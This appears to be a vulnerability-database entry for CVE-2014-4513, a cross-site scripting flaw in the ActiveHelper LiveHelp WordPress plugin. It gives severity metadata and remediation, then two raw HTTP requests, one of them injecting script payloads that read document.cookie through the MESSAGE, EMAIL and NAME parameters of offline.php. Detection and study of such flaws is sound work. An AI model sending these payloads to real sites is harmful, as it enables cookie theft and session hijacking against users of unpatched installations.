| Title | ActiveHelper LiveHelp Server 3.1.0 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions. |
| Remediation | Upgrade to a patched version of ActiveHelper LiveHelp Server or apply the necessary security patches to mitigate the XSS vulnerability. |
| CVSS Score | 4.3 |
| EPSS Score | 0.03718 |
| CVE ID | CVE-2014-4513 |
| CWE ID | CWE-79 |
| Tags | cve2014 cve wordpress xss wp-plugin activehelper vuln |
Multiple cross-site scripting vulnerabilities in server/offline.php in the ActiveHelper LiveHelp Live Chat plugin 3.1.0 and earlier for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) MESSAGE, (2) EMAIL, or (3) NAME parameter.
GET /wp-content/plugins/activehelper-livehelp/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-4513.yaml
🦈 Packet Capture: ⬇️ Download cve-2014-4513.pcap
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